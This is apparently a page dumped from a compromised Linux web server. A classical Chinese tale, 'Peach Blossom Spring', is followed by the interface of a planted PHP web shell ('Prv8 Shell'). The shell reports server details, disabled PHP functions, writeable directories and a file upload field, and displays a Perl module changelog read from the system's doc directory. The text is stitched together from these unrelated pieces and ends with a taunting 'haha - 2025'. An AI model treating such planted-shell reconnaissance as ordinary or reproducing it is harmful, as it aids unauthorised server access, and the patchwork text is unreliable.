晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/perl-Encode-Locale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Encode-Locale/Changes
## 2015-06-09  Release 1.05

Mats Peterson (1):
      Use GetACP() to get the ANSI code page like before

Thomas Sibley (1):
      Conditionalize the Win32::Console recommendation



## 2015-01-12  Release 1.04

Ed J (5):

* Actually include all the tests in the MANIFEST
* use Test::More and warnings
* Tidy t/alias.t
* t/arg.t TODO some actual ARGV testing
* Use Win32::GetConsoleCP/GetConsoleOutputCP if available

Gisle Aas (3):

* Documentation spell fix
* SEE ALSO Term::Encoding [RT#98138]

David Steinbrunner (1):

* typo fix



## 2012-01-11  Release 1.03

Documentation spelling fixes and tweaks to improve testing on Windows.


## 2011-03-28  Release 1.02

Added supporting hacks for GB18030 and roman8. [RT#66373] [RT#67010]


## 2011-02-22  Release 1.01

Avoid compilation warnings (RT#65975).  Thanks to Goro Fuji.


## 2011-01-23  Release 1.00

Documentation tweaks.


## 2010-10-23  Release 0.04

Look up the ANSI code page on Windows and alias this one as the "locale"
encoding.

Providide the reinit() function to be called if something is changed
in the locale and you need to re-initialize the encodings set up by
this module.

Improved documentation.


## 2010-10-20  Release 0.03

Changed the default for decode_argv() to match Encode's default.
It became too strange to tell people to pass FB_DEFAULT to get the
non-default behaviour.

Changed $ENCODING_FS into $ENCODING_LOCALE_FS (as already documented below),
but not implemented as such.

Workaround for test failure where the Encode does not know about the "646"
encoding alias.

Documentation tweaks.


## 2010-10-13  Release 0.02

...where I realized that I could not get away with a single locale encoding.
Now `Encode::Locale` provides 4 encoding names that often will map to the same
underlying encoding.  I've used the following names:

    locale        $ENCODING_LOCALE
    locale_fs     $ENCODING_LOCALE_FS
    console_in    $ENCODING_CONSOLE_IN
    console_out   $ENCODING_CONSOLE_OUT

The first one is the encoding specified by the POSIX locale (or the equivalent
on Windows).  This can be set by the user.  The second one (`locale_fs`) is the
encoding that should be used when interfacing with the file system, that is the
encoding of file names.  For some systems (like Mac OS X) this is fixed system
wide and the same for all users.  Last; some systems allow the input and output
encoding for data aimed at the console to differ so there are separate entries
for these.  For classic POSIX systems all 4 of these will all denote the same
encoding.

This release also introduce the function env() as a Unicode interface to the
%ENV hash (the process environment variables).  We don't want to decode the ENV
%values in-place because this also affects what the child processes
observes.  The %ENV hash should always contain byte strings.


## 2010-10-11  Release 0.01

Initial release

haha - 2025